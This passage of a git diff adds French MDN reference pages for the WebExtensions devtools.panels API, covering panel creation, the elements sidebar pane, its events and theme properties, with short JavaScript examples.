string. Spécifie un fichier HTML qui définit le contenu réel du panneau. Il est fourni sous la forme d'une URL d'un fichier HTML qui a été regroupé avec votre extension. L'URL est résolue par rapport à la page d'extension courante (sauf si elle est exprimée en url absolue, par exemple "/devtools/panel.html"). Le fichier HTML peut include des fichiers CSS et JavaScript, juste comme une page web normale. Le JavaScript en cours d'éxécution dans le panneau pourra utiliser les API devtools. Voir Extention des outils de développement.
+
+ +

Valeur retournée

+ +

Une Promise qui sera remplie avec un objet ExtensionPanel représentant le nouveau panneau.

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.create")}}

+ + + +

Exemples

+ +

Créer un nouveau panneau, et ajoute des auditeurs à ces événements onShown et  onHidden :

+ +
function handleShown() {
+  console.log("panel is being shown");
+}
+
+function handleHidden() {
+  console.log("panel is being hidden");
+}
+
+browser.devtools.panels.create(
+  "My Panel",                 // title
+  "/icons/star.png",           // icon
+  "/devtools/panel/panel.html" // content
+).then((newPanel) => {
+  newPanel.onShown.addListener(handleShown);
+  newPanel.onHidden.addListener(handleHidden);
+});
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elements/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elements/index.html new file mode 100644 index 0000000000..18223b2718 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elements/index.html @@ -0,0 +1,29 @@ +--- +title: devtools.panels.elements +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/elements +tags: + - API + - Add-ons + - Elements + - Extensions + - Reference + - WebExtensions + - devtools.panels +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/elements +--- +
{{AddonSidebar()}}
+ +

Un objet ElementsPanel qui représente l'inspecteur HTML/CSS du navigateur

+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.elements", 10)}}

+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/createsidebarpane/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/createsidebarpane/index.html new file mode 100644 index 0000000000..7eee52fff5 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/createsidebarpane/index.html @@ -0,0 +1,107 @@ +--- +title: devtools.panels.ElementsPanel.createSidebarPane() +slug: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/createSidebarPane +tags: + - API + - Add-ons + - DevTools + - Extensions + - Reference + - WebExtensions + - createSidebarPane + - devtools.panels +translation_of: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/createSidebarPane +--- +
{{AddonSidebar()}}
+ +

Ajoute un nouveau volet à la barre latérale dans l'inspecteur HTML / CSS.

+ +

L'inspecteur HTML / CSS, appelé l'inspecteur de page dans Firefox et le panneau éléments dans Chrome, affiche la page DOM dans la partie principale de sa fenêtre et possède une barre latérale qui affiche divers autres aspects de la page HTML / CSS dans une interface à onglets. Par exemple, dans Firefox, la barre latérale peut afficher les règles CSS pour l'élément sélectionné, ou ses polices, ou son modèle de boîte.

+ +

La fonction createSidebarPane() ajoute un nouveau volet à la barre latérale. ar exemple, la capture d'écran ci-dessous montre un nouveau volet intitulé "My pane", qui affiche un objet JSON :

+ +

+ +

Cette fonction prend un argument, qui est une chaîne représentant le titre du volet. Il renvoie une Promise qui se résout en un objet ExtensionSidebarPane représentant le nouveau volet. Vous pouvez utiliser cet objet pour définir le contenu et le comportement du volet.

+ +

Syntaxe

+ +
var creating = browser.devtools.panels.elements.createSidebarPane(
+  title       // string
+)
+
+ +

Paramètres

+ +
+
title
+
string. Cela apparaîtra dans la rangée d'onglets en haut de la barre latérale, et c'est la principale façon pour l'utilisateur d'identifier votre panneau.
+
+ +

Valeur retournée

+ +

Une Promise qui sera remplie avec un objet ExtensionSidebarPane représentant le nouveau volet.

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.ElementsPanel.createSidebarPane", 10)}}

+ + + +

Exemples

+ +

Créez un nouveau volet et remplissez-le avec un objet JSON. Vous pouvez exécuter ce code dans un script chargé par la page devtools.

+ +
function onCreated(sidebarPane) {
+  sidebarPane.setObject({
+    someBool: true,
+    someString: "hello there",
+    someObject: {
+      someNumber: 42,
+      someOtherString: "this is my pane's content"
+    }
+  });
+}
+
+browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/index.html new file mode 100644 index 0000000000..5c2a0413c7 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/index.html @@ -0,0 +1,73 @@ +--- +title: devtools.panels.ElementsPanel +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel +tags: + - API + - Add-ons + - DevTools + - Extensions + - Reference + - WebExtensions + - devtools.panels + - devtools.panelsElementsPanel +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel +--- +
{{AddonSidebar()}}
+ +

Un ElementsPanel représente l'inspecteur HTML/CSS dans la devtools du navigateur. C'est ce qu'on appelle l'inspecteur de page dans Firefox et le panneau Éléments de Chrome.

+ +

Fonctions

+ +
+
devtools.panels.ElementsPanel.createSidebarPane()
+
Crée un volet dans la barre latérale de l'inspecteur.
+
+

Evénements

+
+
devtools.panels.ElementsPanel.onSelectionChanged
+
Appèle lorsque l'utilisateur sélectionne un élément différent dans la page, par exemple en utilisant l'élément de menu contextuel "inspect élément".
+
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.ElementsPanel", 10)}}

+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/onselectionchanged/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/onselectionchanged/index.html new file mode 100644 index 0000000000..e753d5aba1 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/elementspanel/onselectionchanged/index.html @@ -0,0 +1,74 @@ +--- +title: onSelectionChanged +slug: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/onSelectionChanged +tags: + - API + - Add-ons + - DevTools + - Extensions + - Reference + - WebExtensions + - devtools.panels + - devtools.panelsElementsPanel +translation_of: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/onSelectionChanged +--- +
{{AddonSidebar()}}
+ +

Appelles lorsque l'utilisateur sélectionne un élément de page différent pour l'inspection avec les outils de développement du navigateur, par exemple en sélectionnant l'élément de menu contextuel "Inspect Element" dans Firefox.

+ +

Syntaxe

+ +
browser.devtools.panels.elements.onSelectionChanged.addListener(listener)
+browser.devtools.panels.elements.onSelectionChanged.removeListener(listener)
+browser.devtools.panels.elements.onSelectionChanged.hasListener(listener)
+
+ +

L'événement a trois fonctions :

+ +
+
addListener(listener)
+
Ajoute une écoute à cet événement.
+
removeListener(listener)
+
Arrête une écoute à l'événement. L'argument de l'auditeur est un auditeur supprimer.
+
hasListener(listener)
+
Vérifiez si l'auditeur est enregistré pour cet événement. Renvoie la valeur Vrai si elle l'écoute, sinon Faux.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Fonction qui sera appelée lors de l'événement. La fonction ne passera pas d'arguments.

+
+
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.ElementsPanel.onSelectionChanged", 10)}}

+ +

Exemples

+ +

Ecoutez la sélection des événements modifiés, et enregistrez le contenu du texte de l'élément nouvellement sélectionné :

+ +
function handleSelectedElement() {
+  browser.devtools.inspectedWindow.eval("$0.textContent")
+    .then((result) => {
+      console.log(result[0]);
+    });
+}
+
+browser.devtools.panels.elements.onSelectionChanged.addListener(handleSelectedElement);
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.

+
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.html new file mode 100644 index 0000000000..e083ff02b3 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionpanel/index.html @@ -0,0 +1,93 @@ +--- +title: devtools.panels.ExtensionPanel +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionPanel +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.panels +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionPanel +--- +
{{AddonSidebar()}}
+ +

Une ExtensionPanel représente un panneau ajouté aux devtools. C'est la résolution de la Promise renvoyé par browser.devtools.panels.create().

+ +

Type

+ +

Les valeurs de ce type sont des objets. Définissez deux événements, onShown et onHidden.

+ +
    +
  • onShown est émis lorsque le panneau est affiché dans les devtools (par exemple, quand l'utilisateur a cliqué sur le panneau dans la fenêtre des  devtools).
    • +
  • onHidden est émis lorsque le panneau est caché (par exemple, quand l'utilisateur a basculé sur un onglet différent dans la fenêtre devtools).
    • +
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.ExtensionPanel")}}

+ + + +

Exemples

+ +

Ce code crée un nouveau panneau, puis ajoute des gestionnaires pour ces événements onShown et onHidden.

+ +
function handleShown(e) {
+  console.log(e);
+  console.log("panel is being shown");
+}
+
+function handleHidden(e) {
+  console.log(e);
+  console.log("panel is being hidden");
+}
+
+browser.devtools.panels.create(
+  "My Panel",                 // title
+  "icons/star.png",           // icon
+  "devtools/panel/panel.html" // content
+).then((newPanel) => {
+  newPanel.onShown.addListener(handleShown);
+  newPanel.onHidden.addListener(handleHidden);
+});
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/index.html new file mode 100644 index 0000000000..02ee0a2073 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/index.html @@ -0,0 +1,89 @@ +--- +title: devtools.panels.ExtensionSidebarPane +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane +tags: + - API + - Add-ons + - DevTools + - Extensions + - Reference + - WebExtensions + - devtools.panels + - devtools.panels.ExtensionSidebarPane +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane +--- +
{{AddonSidebar}}
+ +

L'objet ExtensionSidebarPane représente un volet qu'une extension a ajouté à la barre latérale dans l'inspecteur HTML/CSS du navigateur.

+ +

+ +

Pour créer un ExtensionSidebarPane, appelez la fonction browser.devtools.panels.elements.createSidebarane().

+ +

Fonctions

+ +
+
devtools.panels.ExtensionSidebarPane.setExpression()
+
+

Évaluer une expression JavaScript dans la page Web inspectée par l'inspecteur. Le résultat est affiché dans le volet de la barre latérale.

+
+
devtools.panels.ExtensionSidebarPane.setObject()
+
+

Définit un objet JSON qui sera affiché dans le volet de la barre latérale.

+
+
devtools.panels.ExtensionSidebarPane.setPage()
+
+

Charge la page pointée par l'URL fournie.

+
+
+ +

Evénements

+ +
+
devtools.panels.ExtensionSidebarPane.onShown
+
Lancé lorsque le volet latéral est affiché.
+
devtools.panels.ExtensionSidebarPane.onHidden
+
Lancé lorsque le volet de la barre latérale est masqué.
+
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane", 10)}}

+ +

{{WebExtExamples("h2")}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.html new file mode 100644 index 0000000000..a1a18463e5 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onhidden/index.html @@ -0,0 +1,80 @@ +--- +title: devtools.panels.ExtensionSidebarPane.onHidden +slug: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onHidden +tags: + - API + - Add-ons + - ExtensionSidebarPane + - Extensions + - Reference + - WebExtensions + - devtools.panels + - onHidden +translation_of: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onHidden +--- +
{{AddonSidebar()}}
+ +

Appelé lorsque le volet de la barre latérale est masqué, suite à l'abandon de l'utilisateur.

+ +

Syntaxe

+ +
browser.devtools.panels.onHidden.addListener(listener)
+browser.devtools.panels.onHidden.removeListener(listener)
+browser.devtools.panels.onHidden.hasListener(listener)
+
+ +

Les événements ont trois fonctions:

+ +
+
addListener(callback)
+
Ajoute un écouteur à cet événement.
+
removeListener(listener)
+
Arrête d'écouter cet événement. L'argument listener est l'écouteur à supprimer.
+
hasListener(listener)
+
Vérifie si listener est enregistré pour cet événement. Renvoie true s'il écoute,  sinon false.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Fonction appelée lorsque cet événement se produit. Cette fonction sera passée sans arguments.

+
+
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.onHidden", 10)}}

+ +

Exemples

+ +

Créez un volet de barre latérale et journal afficher et masquer les événements.

+ +
function onCreated(sidebarPane) {
+
+  sidebarPane.onShown.addListener(() => {
+    console.log("Shown");
+  });
+
+  sidebarPane.onHidden.addListener(() => {
+    console.log("Hidden");
+  });
+
+}
+
+browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onshown/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onshown/index.html new file mode 100644 index 0000000000..3ca3412af2 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/onshown/index.html @@ -0,0 +1,78 @@ +--- +title: devtools.panels.ExtensionSidebarPane.onShown +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onShown +tags: + - API + - Add-ons + - Extensions + - ExtesionsSidebarPane + - Reference + - WebExtensions + - devtools.panels + - onShown +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/onShown +--- +
{{AddonSidebar()}}
+ +

Lancé lorsque le volet latéral devient visible suite à un changement d'utilisateur.

+ +

Syntaxe

+ +
browser.devtools.panels.onShown.addListener(listener)
+browser.devtools.panels.onShown.removeListener(listener)
+browser.devtools.panels.onShown.hasListener(listener)
+
+ +

Les événements ont trois fonctions :

+ +
+
addListener(callback)
+
Ajoute un écouteur à cet événement.
+
removeListener(listener)
+
Arrêtez d'écouter cet événement. L'argument de listener est l'écouteur à supprimer.
+
hasListener(listener)
+
Vérifiez si listener est enregistré pour cet événement. Renvoie true s'il écoute, sinon false.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Fonction qui sera appelée lorsque cet événement se produit. La fonction sera passée sans arguments.

+
+
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.onShown", 10)}}

+ +

Exemples

+ +

Créez un volet de barre latérale et journal afficher et masquer les événements.

+ +
function onCreated(sidebarPane) {
+
+  sidebarPane.onShown.addListener(() => {
+    console.log("Shown");
+  });
+
+  sidebarPane.onHidden.addListener(() => {
+    console.log("Hidden");
+  });
+
+}
+
+browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.html new file mode 100644 index 0000000000..d2c97c5f82 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setexpression/index.html @@ -0,0 +1,106 @@ +--- +title: devtools.panels.ElementsPanel.setExpression() +slug: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setExpression +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.panels + - setExpression +translation_of: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setExpression +--- +
{{AddonSidebar()}}
+ +

Evalue une expression dans le contexte de la page inspectée et affiche le résultat dans le volet de la barre latérale d'extension.

+ +

Le contexte d'exécution de l'expression est le même que celui de inspectedWindow.eval().

+ +

 Les objets JSON et les noeuds DOM sont affichés en tant qu'arborescence extensible, comme dans la visionneuse jSON dans Firefox. Vous pouvez éventuellement spécifier une chaîne rootTitle : elle sera affichée comme le titre de la racine de l'arbre.

+ +

C'est une fonction asynchrone qui renvoie une Promise.

+ +

Syntaxe

+ +
var evaluating = browser.devtools.panels.setExpression(
+  expression,       // string
+  rootTitle         // string
+)
+
+ +

Paramètres

+ +
+
expression
+
string. L'expression à évaluer.
+
rootTitle {{optional_inline}}
+
string. Le titre de la racine de l'arbre dans lequel les résultats sont affichés.
+
+ +

Valeur retournée

+ +

Une Promise sera remplie sans arguments, une fois l'expression évaluée.

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.setExpression", 10)}}

+ + + +

Exemples

+ +

Ce code crée un volet de barre latérale qui affiche le tagName de l'élément actuellement sélectionné :

+ +
function onCreated(sidebarPane) {
+
+  browser.devtools.panels.elements.onSelectionChanged.addListener(() => {
+    const exp = "$0 && $0.tagName";
+    const title = "Selected Element tagName";
+    sidebarPane.setExpression(exp, title);
+  });
+
+}
+
+browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.html new file mode 100644 index 0000000000..90252a0c2f --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setobject/index.html @@ -0,0 +1,104 @@ +--- +title: devtools.panels.ExtensionSidebarPane.setObject() +slug: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setObject +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.panels + - setObject +translation_of: >- + Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setObject +--- +
{{AddonSidebar()}}
+ +

Affiche un objet JSON dans le volet de la barre latérale de l'extension.

+ +

L'objet est affiché en tant qu'arborescence extensible, comme dans le JSON viewer dans Firefox. Vous pouvez éventuellement spécifier une chaîne rootTitle : elle sera affichée comme le titre de la racine de l'arbre.

+ +

C'est une fonction asynchrone qui renvoie une Promise.

+ +

Syntaxe

+ +
var setting = browser.devtools.panels.setObject(
+  jsonObject,       // string, array, or JSON object
+  rootTitle         // string
+)
+
+ +

Paramètres

+ +
+
jsonObject
+
String ou Array ou Object. L'objet à afficher. S'il s'agit d'un objet JSON-serialized, donc les propriétés comme les fonctions seront omises.
+
rootTitle {{optional_inline}}
+
String. Le titre de la racine de l'arbre dans lequel l'objet est affiché.
+
+ +

Valeur retournée

+ +

Une Promise qui sera accomplie sans arguments, une fois l'objet défini.

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.setObject", 10)}}

+ + + +

Exemples

+ +

Créez un nouveau volet et remplissez-le avec un objet JSON. Vous pouvez exécuter ce code dans un script chargé par la page devtools. de votre extension

+ +
function onCreated(sidebarPane) {
+  sidebarPane.setObject({
+    someBool: true,
+    someString: "hello there",
+    someObject: {
+      someNumber: 42,
+      someOtherString: "this is my pane's content"
+    }
+  });
+}
+
+browser.devtools.panels.elements.createSidebarPane("My pane").then(onCreated);
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setpage/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setpage/index.html new file mode 100644 index 0000000000..e4f98e3ff3 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/extensionsidebarpane/setpage/index.html @@ -0,0 +1,89 @@ +--- +title: devtools.panels.ExtensionSidebarPane.setPage() +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setPage +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - setPage +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setPage +--- +

Définit une page HTML à afficher dans le volet latéral.

+ +

C'est une fonction asynchrone qui renvoie une Promise.

+ +

Syntaxe

+ +
browser.devtools.panels.setPage(
+  path // string containing relative path to page
+)
+
+ +

Paramètres

+ +
+
extensionPageURL
+
string. Le chemin relatif d'une page HTML à afficher dans la barre latérale.
+
+ +

Valeur retournée

+ +

Une Promise qui sera tenue sans arguments, une fois l'URL définie.

+ +

La page sélectionnée ne sera pas chargée tant que l'utilisateur n'aura pas sélectionné la barre latérale devtools.

+ +

Exemples

+ +

Créez un nouveau volet et remplissez-le d'une page HTML. Vous pouvez exécuter ce code dans un script chargé par la page devtools de votre extension.

+ +
function onCreated(sidebarPane) {
+  sidebarPane.setPage('sidebar/sidebar.html');
+}
+
+ +

{{WebExtExamples}}

+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.setPage", 10)}}

+ + + + + +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.html new file mode 100644 index 0000000000..9f2c06e2a0 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/index.html @@ -0,0 +1,103 @@ +--- +title: devtools.panels +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.panels +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels +--- +
{{AddonSidebar}}
+ +
+

Bien que les API soient basées sur les APIs de devtools de Chrome, il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder  Limitations des APIs devtools.

+
+ +

L'API devtools.panels permet à une extension devtools de définir son interface utilisateur à l'intérieur de la fenêtre devtools.

+ +

La fenêtre devtools héberge un certain nombre d'outils distincts - le débogueur JavaScript, le moniteur réseau, etc. Une rangée d'onglets sur le haut permet à l'utilisateur de basculer entre les différents outils. La fenêtre hébergeant l'interface utilisateur de chaque outil s'appelle un "panneau".

+ +

Avec l'API devtools.panels, vous pouvez créer de nouveaux panneaux dans la fenêtre des devtools.

+ +

Comme toutes les API de devtools, cette API est uniquement disponible pour le code exécuté dans le document défini dans la clé devtools_page du manifest.json, ou dans d'autres documents de déploiement créés par une extension (tel que le document du panneau). Voir Extension des outils de développement pour plus for d'informations.

+ +

Types

+ +
+
devtools.panels.ElementsPanel
+
Représente l'inspecteur HTML/CSS dans le devtools du navigateur
+
devtools.panels.ExtensionPanel
+
Représente un panneau de déploiement créé par l'extension.
+
devtools.panels.ExtensionSidebarPane
+
Représente un volet ajouté par une extension à l'inspecteur HTML/CC dans les devtools du navigateur.
+
+ +

Propriétés

+ +
+
devtools.panels.elements
+
Une référence à un objet ElementsPanel.
+
devtools.panels.themeName
+
Le nom du thème actuel des devtools.
+
+ +

Fonctions

+ +
+
devtools.panels.create()
+
Créé un nouveau panneau de développement
+
+ +

Evénements

+ +
+
devtools.panels.onThemeChanged
+
Mise en place lorsque le thème Devtools change.
+
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.panels", 2)}}

+ +

{{WebExtExamples("h2")}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.html new file mode 100644 index 0000000000..75c9b94ccc --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/onthemechanged/index.html @@ -0,0 +1,72 @@ +--- +title: devtools.panels.onThemeChanged +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/onThemeChanged +tags: + - API + - Add-ons + - DevTools + - Reference + - WebExtensions + - devtools.panels + - onThemeChanged +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/onThemeChanged +--- +
{{AddonSidebar()}}
+ +

Remplacement quand le thème de devtools change

+ +

Syntaxe

+ +
browser.devtools.panels.onThemeChanged.addListener(listener)
+browser.devtools.panels.onThemeChanged.removeListener(listener)
+browser.devtools.panels.onThemeChanged.hasListener(listener)
+
+ +

Les événements ont trois fonctions :

+ +
+
addListener(callback)
+
Ajoute un auditeur à cet événement
+
removeListener(listener)
+
Arrêtez d'écouter cet événement. L'argument de l'auditeur est l'auditeur à supprimer.
+
hasListener(listener)
+
Vérifiez si l'auditeur est enregistré pour cet événement. Renvoie Vrai si elle écoute, sinon Faux.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Function qui sera appelée lors de l'événement. La fonction passera les arguments suivants :

+ +
+
themeName
+
string. Nom du nouveau thème : ce sera l'une des valeurs autorisées pour  devtools.panels.themeName.
+
+
+
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.onThemeChanged")}}

+ +

Exemples

+ +
browser.devtools.panels.onThemeChanged.addListener((newThemeName) => {
+  console.log(`New theme: ${newThemeName}`);
+});
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/themename/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/themename/index.html new file mode 100644 index 0000000000..abddedc962 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/themename/index.html @@ -0,0 +1,39 @@ +--- +title: devtools.panels.themeName +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/themeName +tags: + - API + - Add-ons + - DevTools + - Reference + - WebExtensions + - devtools.panels + - themeName +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/themeName +--- +
{{AddonSidebar()}}
+ +

Le nom du thème de devtools actuellement sélectionné.

+ +

Il s'agit d'une chaîne dont les valeurs possibles sont :

+ +
    +
  • "lumière"
    • +
  • "foncé"
    • +
  • "firebug"
    • +
+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.panels.themeName")}}

+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.panels.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/menus.overridecontext()/index.html b/files/fr/mozilla/add-ons/webextensions/api/menus/menus.overridecontext()/index.html deleted file mode 100644 index 8d8463f069..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/menus.overridecontext()/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: menus.overrideContext() -slug: Mozilla/Add-ons/WebExtensions/API/menus/menus.overrideContext() -tags: - - API - - Add-ons - - Extensions - - Méthode - - WebExtensions - - contextMenus -translation_of: Mozilla/Add-ons/WebExtensions/API/menus/menus.overrideContext() ---- -
{{AddonSidebar()}}
- -

